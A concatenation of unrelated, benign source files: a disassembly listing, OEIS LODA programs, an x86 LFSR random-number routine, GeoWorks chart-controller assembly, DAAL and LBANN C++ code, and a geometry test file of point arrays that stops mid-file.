0x05C1 (0x000B82) 0x1009- f:00010 d: 9 | A = 9 (0x0009)
0x05C2 (0x000B84) 0x293A- f:00024 d: 314 | OR[314] = A
0x05C3 (0x000B86) 0x211A- f:00020 d: 282 | A = OR[282]
0x05C4 (0x000B88) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x05C5 (0x000B8A) 0x293B- f:00024 d: 315 | OR[315] = A
0x05C6 (0x000B8C) 0x1064- f:00010 d: 100 | A = 100 (0x0064)
0x05C7 (0x000B8E) 0x293C- f:00024 d: 316 | OR[316] = A
0x05C8 (0x000B90) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x05C9 (0x000B92) 0x5800- f:00054 d: 0 | B = A
0x05CA (0x000B94) 0x1800-0x4518 f:00014 d: 0 | A = 17688 (0x4518)
0x05CC (0x000B98) 0x7C09- f:00076 d: 9 | R = OR[9]
@ Did we time out? If offset 11 is 0, we've timed out
0x05CD (0x000B9A) 0x2006- f:00020 d: 6 | A = OR[6]
0x05CE (0x000B9C) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x05CF (0x000B9E) 0x2908- f:00024 d: 264 | OR[264] = A
0x05D0 (0x000BA0) 0x3108- f:00030 d: 264 | A = (OR[264])
0x05D1 (0x000BA2) 0x0400- f:00002 d: 0 | I = 0
0x05D2 (0x000BA4) 0x0000- f:00000 d: 0 | PASS
0x05D3 (0x000BA6) 0x2936- f:00024 d: 310 | OR[310] = A
0x05D4 (0x000BA8) 0x311A- f:00030 d: 282 | A = (OR[282]) @ Store old value of offset 63 in OR[284], zero out offset 63
0x05D5 (0x000BAA) 0x291C- f:00024 d: 284 | OR[284] = A
0x05D6 (0x000BAC) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x05D7 (0x000BAE) 0x391A- f:00034 d: 282 | (OR[282]) = A
0x05D8 (0x000BB0) 0x2136- f:00020 d: 310 | A = OR[310] @ Read back timeout value and return
0x05D9 (0x000BB2) 0x0200- f:00001 d: 0 | EXIT
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@ Allocate 2k buffer
@@ Output:
@@ A: address of buffer
@ Call runtime manager function 26: Allocate 2k memory
0x05DA (0x000BB4) 0x101A- f:00010 d: 26 | A = 26 (0x001A)
0x05DB (0x000BB6) 0x293A- f:00024 d: 314 | OR[314] = A
0x05DC (0x000BB8) 0x1136- f:00010 d: 310 | A = 310 (0x0136)
0x05DD (0x000BBA) 0x293B- f:00024 d: 315 | OR[315] = A
0x05DE (0x000BBC) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x05DF (0x000BBE) 0x5800- f:00054 d: 0 | B = A
0x05E0 (0x000BC0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x05E1 (0x000BC2) 0x7C09- f:00076 d: 9 | R = OR[9]
0x05E2 (0x000BC4) 0x1E00-0x0006 f:00017 d: 0 | A = A - 6 (0x0006)
0x05E4 (0x000BC8) 0x8402- f:00102 d: 2 | P = P + 2 (0x05E6), A = 0
0x05E5 (0x000BCA) 0x700F- f:00070 d: 15 | P = P + 15 (0x05F4)
0x05E6 (0x000BCC) 0x1007- f:00010 d: 7 | A = 7 (0x0007)
0x05E7 (0x000BCE) 0x293A- f:00024 d: 314 | OR[314] = A
0x05E8 (0x000BD0) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x05E9 (0x000BD2) 0x293B- f:00024 d: 315 | OR[315] = A
0x05EA (0x000BD4) 0x113A- f:00010 d: 314 | A = 314 (0x013A)
0x05EB (0x000BD6) 0x5800- f:00054 d: 0 | B = A
0x05EC (0x000BD8) 0x1800-0x4518 f:00014 d: 0 | A = 17688 (0x4518)
0x05EE (0x000BDC) 0x7C09- f:00076 d: 9 | R = OR[9]
0x05EF (0x000BDE) 0x2123- f:00020 d: 291 | A = OR[291] @ Increment some sort of a timer saying how many times we had to wait before we got the memory
0x05F0 (0x000BE0) 0x142D- f:00012 d: 45 | A = A + 45 (0x002D)
0x05F1 (0x000BE2) 0x2908- f:00024 d: 264 | OR[264] = A
0x05F2 (0x000BE4) 0x3D08- f:00036 d: 264 | (OR[264]) = (OR[264]) + 1
0x05F3 (0x000BE6) 0x7219- f:00071 d: 25 | P = P - 25 (0x05DA)
0x05F4 (0x000BE8) 0x2136- f:00020 d: 310 | A = OR[310]
0x05F5 (0x000BEA) 0x0200- f:00001 d: 0 | EXIT
0x05F6 (0x000BEC) 0x2120- f:00020 d: 288 | A = OR[288]
0x05F7 (0x000BEE) 0x1E00-0x0800 f:00017 d: 0 | A = A - 2048 (0x0800)
0x05F9 (0x000BF2) 0x8004- f:00100 d: 4 | P = P + 4 (0x05FD), C = 0
0x05FA (0x000BF4) 0x8403- f:00102 d: 3 | P = P + 3 (0x05FD), A = 0
0x05FB (0x000BF6) 0x7A03-0x0605 f:00075 d: 3 | P = OR[3]+1541 (0x0605)
0x05FD (0x000BFA) 0x7A03-0x0609 f:00075 d: 3 | P = OR[3]+1545 (0x0609)
0x05FF (0x000BFE) 0x1800-0x0800 f:00014 d: 0 | A = 2048 (0x0800)
0x0601 (0x000C02) 0x2925- f:00024 d: 293 | OR[293] = A
0x0602 (0x000C04) 0x7014- f:00070 d: 20 | P = P + 20 (0x0616)
0x0603 (0x000C06) 0x1003- f:00010 d: 3 | A = 3 (0x0003)
0x0604 (0x000C08) 0x8602- f:00103 d: 2 | P = P + 2 (0x0606), A # 0
0x0605 (0x000C0A) 0x700D- f:00070 d: 13 | P = P + 13 (0x0612)
0x0606 (0x000C0C) 0x2120- f:00020 d: 288 | A = OR[288]
0x0607 (0x000C0E) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x0608 (0x000C10) 0x2908- f:00024 d: 264 | OR[264] = A
0x0609 (0x000C12) 0x1800-0x0800 f:00014 d: 0 | A = 2048 (0x0800)
0x060B (0x000C16) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x060C (0x000C18) 0x8002- f:00100 d: 2 | P = P + 2 (0x060E), C = 0
0x060D (0x000C1A) 0x7005- f:00070 d: 5 | P = P + 5 (0x0612)
0x060E (0x000C1C) 0x1800-0x0600 f:00014 d: 0 | A = 1536 (0x0600)
0x0610 (0x000C20) 0x2925- f:00024 d: 293 | OR[293] = A
0x0611 (0x000C22) 0x7005- f:00070 d: 5 | P = P + 5 (0x0616)
0x0612 (0x000C24) 0x2120- f:00020 d: 288 | A = OR[288]
0x0613 (0x000C26) 0x2925- f:00024 d: 293 | OR[293] = A
0x0614 (0x000C28) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0615 (0x000C2A) 0x2939- f:00024 d: 313 | OR[313] = A
0x0616 (0x000C2C) 0x0200- f:00001 d: 0 | EXIT
0x0617 (0x000C2E) 0x0000- f:00000 d: 0 | PASS
0x0618 (0x000C30) 0x0000- f:00000 d: 0 | PASS
0x0619 (0x000C32) 0x0000- f:00000 d: 0 | PASS
0x061A (0x000C34) 0x0000- f:00000 d: 0 | PASS
0x061B (0x000C36) 0x0000- f:00000 d: 0 | PASS
|
// -------------------------------------------------------------------------------------------------
// Copyright 2017 - NumScale SAS
//
// Distributed under the Boost Software License, Version 1.0.
// See accompanying file LICENSE.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt
// -------------------------------------------------------------------------------------------------
/// bench for functor if_else in scalar mode for std::uint64_t type with no decorator (regular call).
#include <simd_bench.hpp>
#include <boost/simd/function/if_else.hpp>
namespace nsb = ns::bench;
namespace bs = boost::simd;
DEFINE_BENCH_MAIN()
{
using T = std::uint64_t;
run<T>(bs::if_else, nsbg::rand<T>(-10, 10), nsbg::rand<T>(-10, 10), nsbg::rand<T>(-10, 10));
}
|
; A201004: Triangular numbers, T(m), that are five-quarters of another triangular number; T(m) such that 4*T(m) = 5*T(k) for some k.
; Submitted by Christian Krause
; 0,45,14535,4680270,1507032450,485259768675,156252138480945,50312703331095660,16200534220474321620,5216521706289400466025,1679703788890966475738475,540859403501184915787322970,174155048223592651917042257910,56077384668593332732371819724095,18056743708238829547171808908900725,5814215396668234520856590096846309400,1872159300983463276886274839375602726120,602829480701278506922859641688847231501285,194109220626510695765883918348969432940687695,62502566212255742758107698848726468559669936550
mov $3,1
lpb $0
sub $0,1
mov $1,$3
mul $1,16
add $2,$1
add $3,$2
lpe
pow $3,2
mov $0,$3
div $0,288
mul $0,45
|
; A179006: Partial sums of floor(Fibonacci(n)/4).
; 0,0,0,0,0,1,3,6,11,19,32,54,90,148,242,394,640,1039,1685,2730,4421,7157,11584,18748,30340,49096,79444,128548,208000,336557,544567,881134,1425711,2306855,3732576,6039442,9772030,15811484,25583526,41395022,66978560,108373595,175352169,283725778,459077961,742803753,1201881728,1944685496,3146567240,5091252752,8237820008,13329072776,21566892800,34895965593,56462858411,91358824022,147821682451,239180506491,387002188960,626182695470,1013184884450,1639367579940,2652552464410,4291920044370,6944472508800,11236392553191,18180865062013,29417257615226,47598122677261,77015380292509,124613502969792,201628883262324,326242386232140,527871269494488,854113655726652,1381984925221164,2236098580947840,3618083506169029,5854182087116895
mov $2,$0
mov $7,$0
lpb $2
mov $0,$7
sub $2,1
sub $0,$2
add $9,1
lpb $9
add $6,2
mov $8,$4
sub $9,1
lpb $0
sub $0,1
add $6,$3
mov $3,$8
mov $8,$6
lpe
sub $3,$3
mov $5,$6
div $5,8
mov $6,0
lpe
add $1,$5
lpe
|
.586
.model flat, C
.stack 100h
.code
pshtap macro src, bit ; pushes specified bit to the ebx register through carry flag
bt src, bit
adc ebx, 0
endm
xortap macro src, bit ; xors pushed tap with tap in ebx
pshtap src, bit
and ebx, 1
endm
; ---ARGS---
; DWORD - seed
__random32 proc
push ebp
mov ebp, esp
mov eax, [ebp + 8] ; seed
cmp eax, 0 ; dead case when this algorithm returns 0 all time, we must avoid calculations
je exit32
; this realization (32 bit size) uses this taps for the best period (2^n-1):
; 32, 22, 2, 1 (https://www.xilinx.com/support/documentation/application_notes/xapp052.pdf)
mov ecx, 32
LFSR32: ; in every iteration it generated next pseudorandom number from the sequence
xor ebx, ebx ; in this realization ebx - buffer for all calculations with CF(carry flag)
pshtap eax, 31
xortap eax, 21
xortap eax, 1
xortap eax, 0
shl eax, 1 ; shift bits to the left side for escaping 0 bit of eax, that will be used by the new xored bit
or eax, ebx ; set new xored bit as 0 bit of eax
loop LFSR32
exit32:
pop ebp
ret ; return is: preusdorandom 32bit number from sequence in eax
__random32 endp
; ---ARGS---
; DWORD - lowr_seed
; DWORD - high_seed
__random64 proc
push ebp
mov ebp, esp
mov eax, [ebp+8] ; lower 32 pack of bits
mov edx, [ebp+12] ; higher 32 pack
mov ebx, edx
or ebx, eax
cmp ebx, 0 ; the same idea like in 32bit variant, but here i check two registers (because i get number from rdtsc divided between edx & eax)
je exit64
mov ecx, 64
LFSR64:
xor ebx, ebx ; for 64bit realization i use: 64, 63, 61, 60 taps (https://www.xilinx.com/support/documentation/application_notes/xapp052.pdf)
pshtap edx, 31
xortap edx, 30
xortap edx, 28
xortap edx, 27
shl eax, 1 ; then i shift lower part of number
rcl edx, 1 ; and here i shift with CF high bits
or eax, ebx ; then i set the xored taps as 0 in register with lower bits
loop LFSR64
exit64:
pop ebp
ret ; return is: preusdorandom 64bit number from sequence in :
; -edx high 32bits of number
; -eax lower 32bits
__random64 endp
end |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: uiChart.asm
AUTHOR: Gene Anderson, Sep 13, 1992
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Gene 9/13/92 Initial revision
DESCRIPTION:
Code for SSChartControlClass
$Id: uiChart.asm,v 1.1 97/04/07 11:12:17 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;---------------------------------------------------
SpreadsheetClassStructures segment resource
SSChartControlClass ;declare the class record
SpreadsheetClassStructures ends
;---------------------------------------------------
ChartControlCode segment resource
if _CHARTS
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SSCCGetInfo
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get GenControl info for the SSChartControl
CALLED BY: MSG_GEN_CONTROL_GET_INFO
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of SSChartControlClass
ax - the message
cx:dx - GenControlBuildInfo structure to fill in
RETURN: cx:dx - filled in
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/22/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SSCCGetInfo method dynamic SSChartControlClass, \
MSG_GEN_CONTROL_GET_INFO
mov si, offset SSCC_dupInfo
mov es, cx
mov di, dx ;es:di = dest
segmov ds, cs
mov cx, size GenControlBuildInfo
rep movsb
ret
SSCCGetInfo endm
SSCC_dupInfo GenControlBuildInfo <
mask GCBF_SUSPEND_ON_APPLY, ; GCBI_flags
SSCC_IniFileKey, ; GCBI_initFileKey
SSCC_gcnList, ; GCBI_gcnList
length SSCC_gcnList, ; GCBI_gcnCount
SSCC_notifyTypeList, ; GCBI_notificationList
length SSCC_notifyTypeList, ; GCBI_notificationCount
SSCCName, ; GCBI_controllerName
handle SSChartUI, ; GCBI_dupBlock
SSCC_childList, ; GCBI_childList
length SSCC_childList, ; GCBI_childCount
SSCC_featuresList, ; GCBI_featuresList
length SSCC_featuresList, ; GCBI_featuresCount
SSCC_DEFAULT_FEATURES, ; GCBI_features
handle SSChartToolUI, ; GCBI_toolBlock
SSCC_toolList, ; GCBI_toolList
length SSCC_toolList, ; GCBI_toolCount
SSCC_toolFeaturesList, ; GCBI_toolFeaturesList
length SSCC_toolFeaturesList, ; GCBI_toolFeaturesCount
SSCC_DEFAULT_TOOLBOX_FEATURES> ; GCBI_toolFeatures
SSCC_IniFileKey char "ssChart", 0
SSCC_gcnList GCNListType \
<MANUFACTURER_ID_GEOWORKS, GAGCNLT_APP_TARGET_NOTIFY_SPREADSHEET_SELECTION_CHANGE>
SSCC_notifyTypeList NotificationType \
<MANUFACTURER_ID_GEOWORKS, GWNT_SPREADSHEET_SELECTION_CHANGE>
;---
ifdef SPIDER_CHART
SSCC_childList GenControlChildInfo \
<offset ColumnTrigger, mask SSCCF_COLUMN, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset BarTrigger, mask SSCCF_BAR, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset LineTrigger, mask SSCCF_LINE, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset AreaTrigger, mask SSCCF_AREA, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset ScatterTrigger, mask SSCCF_SCATTER, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset PieTrigger, mask SSCCF_PIE, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset HighLowTrigger, mask SSCCF_HIGH_LOW, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset SpiderTrigger, mask SSCCF_SPIDER, mask GCCF_IS_DIRECTLY_A_FEATURE>
else
SSCC_childList GenControlChildInfo \
<offset ColumnTrigger, mask SSCCF_COLUMN, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset BarTrigger, mask SSCCF_BAR, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset LineTrigger, mask SSCCF_LINE, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset AreaTrigger, mask SSCCF_AREA, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset ScatterTrigger, mask SSCCF_SCATTER, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset PieTrigger, mask SSCCF_PIE, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset HighLowTrigger, mask SSCCF_HIGH_LOW, mask GCCF_IS_DIRECTLY_A_FEATURE>
endif
; Careful, this table is in the *opposite* order as the record which
; it corresponds to.
ifdef SPIDER_CHART
SSCC_featuresList GenControlFeaturesInfo \
<offset ColumnTrigger, SSCCColumnName, 0>,
<offset BarTrigger, SSCCBarName, 0>,
<offset LineTrigger, SSCCLineName, 0>,
<offset AreaTrigger, SSCCAreaName, 0>,
<offset ScatterTrigger, SSCCScatterName, 0>,
<offset PieTrigger, SSCCPieName, 0>,
<offset HighLowTrigger, SSCCHighLowName, 0>,
<offset SpiderTrigger, SSCCSpiderName, 0>
else
SSCC_featuresList GenControlFeaturesInfo \
<offset ColumnTrigger, SSCCColumnName, 0>,
<offset BarTrigger, SSCCBarName, 0>,
<offset LineTrigger, SSCCLineName, 0>,
<offset AreaTrigger, SSCCAreaName, 0>,
<offset ScatterTrigger, SSCCScatterName, 0>,
<offset PieTrigger, SSCCPieName, 0>,
<offset HighLowTrigger, SSCCHighLowName, 0>
endif
;---
ifdef SPIDER_CHART
SSCC_toolList GenControlChildInfo \
<offset ColumnTool, mask SSCCTF_COLUMN, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset BarTool, mask SSCCTF_BAR, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset LineTool, mask SSCCTF_LINE, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset AreaTool, mask SSCCTF_AREA, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset ScatterTool, mask SSCCTF_SCATTER, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset PieTool, mask SSCCTF_PIE, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset HighLowTool, mask SSCCTF_HIGH_LOW, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset SpiderTool, mask SSCCTF_SPIDER, mask GCCF_IS_DIRECTLY_A_FEATURE>
else
SSCC_toolList GenControlChildInfo \
<offset ColumnTool, mask SSCCTF_COLUMN, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset BarTool, mask SSCCTF_BAR, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset LineTool, mask SSCCTF_LINE, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset AreaTool, mask SSCCTF_AREA, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset ScatterTool, mask SSCCTF_SCATTER, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset PieTool, mask SSCCTF_PIE, mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset HighLowTool, mask SSCCTF_HIGH_LOW, mask GCCF_IS_DIRECTLY_A_FEATURE>
endif
; Careful, this table is in the *opposite* order as the record which
; it corresponds to.
ifdef SPIDER_CHART
SSCC_toolFeaturesList GenControlFeaturesInfo \
<offset ColumnTool, SSCCColumnName, 0>,
<offset BarTool, SSCCBarName, 0>,
<offset LineTool, SSCCLineName, 0>,
<offset AreaTool, SSCCAreaName, 0>,
<offset ScatterTool, SSCCScatterName, 0>,
<offset PieTool, SSCCPieName, 0>,
<offset HighLowTool, SSCCHighLowName, 0>,
<offset SpiderTool, SSCCSpiderName, 0>
else
SSCC_toolFeaturesList GenControlFeaturesInfo \
<offset ColumnTool, SSCCColumnName, 0>,
<offset BarTool, SSCCBarName, 0>,
<offset LineTool, SSCCLineName, 0>,
<offset AreaTool, SSCCAreaName, 0>,
<offset ScatterTool, SSCCScatterName, 0>,
<offset PieTool, SSCCPieName, 0>,
<offset HighLowTool, SSCCHighLowName, 0>
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SSCCUpdateUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Update UI for SSChartController
CALLED BY: MSG_GEN_CONTROL_UPDATE_UI
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of SSChartControlClass
ax - the message
RETURN: none
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 9/13/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SSCCUpdateUI method dynamic SSChartControlClass,
MSG_GEN_CONTROL_UPDATE_UI
;
; Get the notification block
;
mov bx, ss:[bp].GCUUIP_dataBlock
push ds
call MemLock
mov ds, ax
mov dx, ds:NSSSC_flags ;dx <- SSheetSelectionFlags
call MemUnlock
pop ds
;
; Enable or disable the menu UI
;
mov ax, ss:[bp].GCUUIP_features
mov bx, ss:[bp].GCUUIP_childBlock
mov cx, length SSCC_childList ;cx <- # of entries
mov di, offset SSCC_childList
call childLoop
;
; Enable or disable the tool UI
;
mov ax, ss:[bp].GCUUIP_toolboxFeatures
mov bx, ss:[bp].GCUUIP_toolBlock
mov cx, length SSCC_toolList
mov di, offset SSCC_toolList
call childLoop
ret
childLoop:
test ax, 0x0001 ;does feature exist?
jz noFeature ;branch if feature doesn't exist
push ax, di, cx, dx
mov ax, MSG_GEN_SET_NOT_ENABLED
test dx, mask SSSF_SINGLE_CELL
jnz doEnableDisable
mov ax, MSG_GEN_SET_ENABLED
doEnableDisable:
mov si, cs:[di].GCCI_object ;^lbx:si <- OD of object
mov di, mask MF_FIXUP_DS
mov dl, VUM_NOW
call ObjMessage
pop ax, di, cx, dx
noFeature:
shr ax, 1 ;ax <- next bit to test
add di, (size GenControlChildInfo)
loop childLoop
retn
SSCCUpdateUI endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SSCCChart
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send chart message to the spreadsheet
CALLED BY: MSG_SSCC_CHART
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of SSChartControlClass
ax - the message
cl - ChartType
ch - ChartVariation
RETURN: none
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 9/13/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SSCCChart method dynamic SSChartControlClass,
MSG_SSCC_CHART
mov ax, MSG_SPREADSHEET_CHART_RANGE
call SSCSendToSpreadsheet
ret
SSCCChart endm
endif
ChartControlCode ends
|
setrepeat 2
frame 0, 11
frame 3, 11
dorepeat 1
endanim
|
/* file: linear_regression_train_dense_qr_batch_fpt_dispatcher.cpp */
/*******************************************************************************
* Copyright 2014 Intel Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*******************************************************************************/
/*
//++
// Implementation of linear regression container.
//--
*/
#include "src/algorithms/linear_regression/linear_regression_train_container.h"
namespace daal
{
namespace algorithms
{
__DAAL_INSTANTIATE_DISPATCH_CONTAINER(linear_regression::training::BatchContainer, batch, DAAL_FPTYPE, linear_regression::training::qrDense)
}
} // namespace daal
|
////////////////////////////////////////////////////////////////////////////////
// Copyright (c) 2014-2019, Lawrence Livermore National Security, LLC.
// Produced at the Lawrence Livermore National Laboratory.
// Written by the LBANN Research Team (B. Van Essen, et al.) listed in
// the CONTRIBUTORS file. <lbann-dev@llnl.gov>
//
// LLNL-CODE-697807.
// All rights reserved.
//
// This file is part of LBANN: Livermore Big Artificial Neural Network
// Toolkit. For details, see http://software.llnl.gov/LBANN or
// https://github.com/LLNL/LBANN.
//
// Licensed under the Apache License, Version 2.0 (the "Licensee"); you
// may not use this file except in compliance with the License. You may
// obtain a copy of the License at:
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
// implied. See the License for the specific language governing
// permissions and limitations under the license.
////////////////////////////////////////////////////////////////////////////////
#ifndef LBANN_LAYERS_LOSS_MEAN_SQUARED_ERROR_HPP_INCLUDED
#define LBANN_LAYERS_LOSS_MEAN_SQUARED_ERROR_HPP_INCLUDED
#include "lbann/layers/data_type_layer.hpp"
namespace lbann {
/** @brief
*
* Given a prediction @f$y@f$ and ground truth @f$\hat{y}@f$,
* @f[
* MSE(y,\hat{y})
* = \frac{1}{n} \sum\limits_{i=1}^{n} (y_i - \hat{y}_i)^2
* @f]
*/
template <typename TensorDataType, data_layout T_layout, El::Device Dev>
class mean_squared_error_layer : public data_type_layer<TensorDataType> {
public:
/** @name Public Types */
///@{
/** @brief The tensor type expected in this object. */
using AbsDistMatrixType = El::AbstractDistMatrix<TensorDataType>;
///@}
public:
mean_squared_error_layer(lbann_comm *comm) : data_type_layer<TensorDataType>(comm) {
this->m_expected_num_parent_layers = 2;
}
mean_squared_error_layer(const mean_squared_error_layer& other)
: data_type_layer<TensorDataType>(other) {
m_workspace.reset(other.m_workspace ?
other.m_workspace->Copy() :
nullptr);
}
mean_squared_error_layer& operator=(const mean_squared_error_layer& other) {
data_type_layer<TensorDataType>::operator=(other);
m_workspace.reset(other.m_workspace ?
other.m_workspace->Copy() :
nullptr);
return *this;
}
mean_squared_error_layer* copy() const override { return new mean_squared_error_layer(*this); }
std::string get_type() const override { return "mean squared error"; }
data_layout get_data_layout() const override { return T_layout; }
El::Device get_device_allocation() const override { return Dev; }
void setup_dims() override {
data_type_layer<TensorDataType>::setup_dims();
this->set_output_dims({1});
// Check that input dimensions match
if (this->get_input_dims(0) != this->get_input_dims(1)) {
const auto& parents = this->get_parent_layers();
std::stringstream err;
err << get_type() << " layer \"" << this->get_name() << "\" "
<< "has input tensors with different dimensions (";
for (int i = 0; i < this->get_num_parents(); ++i) {
const auto& dims = this->get_input_dims(i);
err << (i > 0 ? ", " : "")
<< "layer \"" << parents[i]->get_name() << "\" outputs ";
for (size_t j = 0; j < dims.size(); ++j) {
err << (j > 0 ? " x " : "") << dims[j];
}
}
err << ")";
LBANN_ERROR(err.str());
}
}
void setup_data() override {
data_type_layer<TensorDataType>::setup_data();
// Initialize workspace
const auto& input_dist = this->get_prev_activations(0).DistData();
m_workspace.reset(AbsDistMatrixType::Instantiate(*input_dist.grid,
input_dist.root,
El::STAR,
input_dist.rowDist,
(input_dist.blockHeight == 1
&& input_dist.blockWidth == 1 ?
El::ELEMENT : El::BLOCK),
input_dist.device));
#ifdef HYDROGEN_HAVE_CUB
if (m_workspace->GetLocalDevice() == El::Device::GPU) {
m_workspace->Matrix().SetMemoryMode(1); // CUB memory pool
}
#endif // HYDROGEN_HAVE_CUB
}
void fp_compute() override {
// Initialize workspace
m_workspace->Empty();
m_workspace->AlignWith(this->get_prev_activations());
m_workspace->Resize(1, this->get_prev_activations().Width());
// Compute local contributions and accumulate
/// @todo Consider reduce rather than allreduce
local_fp_compute();
this->get_comm()->allreduce(*m_workspace, m_workspace->RedundantComm());
El::Copy(*m_workspace, this->get_activations());
// Clean up
m_workspace->Empty();
}
void bp_compute() override {
// Initialize workspace
m_workspace->Empty();
m_workspace->AlignWith(this->get_prev_activations());
El::Copy(this->get_prev_error_signals(), *m_workspace);
// Compute local gradients
local_bp_compute();
// Clean up
m_workspace->Empty();
}
private:
/** Compute local contributions to mean squared error loss. */
void local_fp_compute();
/** Compute local gradients. */
void local_bp_compute();
/** Workspace matrix. */
std::unique_ptr<AbsDistMatrixType> m_workspace;
};
#ifndef LBANN_MEAN_SQUARED_ERROR_LAYER_INSTANTIATE
#define PROTO_DEVICE(T, Device) \
extern template class mean_squared_error_layer< \
T, data_layout::DATA_PARALLEL, Device>; \
extern template class mean_squared_error_layer< \
T, data_layout::MODEL_PARALLEL, Device>
#include "lbann/macros/instantiate_device.hpp"
#undef PROTO_DEVICE
#endif // LBANN_MEAN_SQUARED_ERROR_LAYER_INSTANTIATE
} // namespace lbann
#endif // LBANN_LAYERS_LOSS_MEAN_SQUARED_ERROR_HPP_INCLUDED
|
#pragma once
#include "geometry/point2d.hpp"
namespace geom_test
{
typedef m2::PointI P;
P arrMain[] = { P(452984832, 654311423), P(452984832, 671088639), P(469762048, 671088639), P(469762048, 654311423) };
P arrB1[] = { P(453543869, 663407648), P(453541856, 663412556), P(453539892, 663412535), P(453539862, 663415492), P(453535925, 663416437), P(453535905, 663418409), P(453531978, 663418368), P(453531998, 663416396), P(453532980, 663416406), P(453533520, 663411484), P(453538931, 663410554), P(453538951, 663408583) };
P arrB2[] = { P(453497629, 663605369), P(453497618, 663606356), P(453498601, 663606366), P(453498591, 663607353), P(453494661, 663607312), P(453494682, 663605339) };
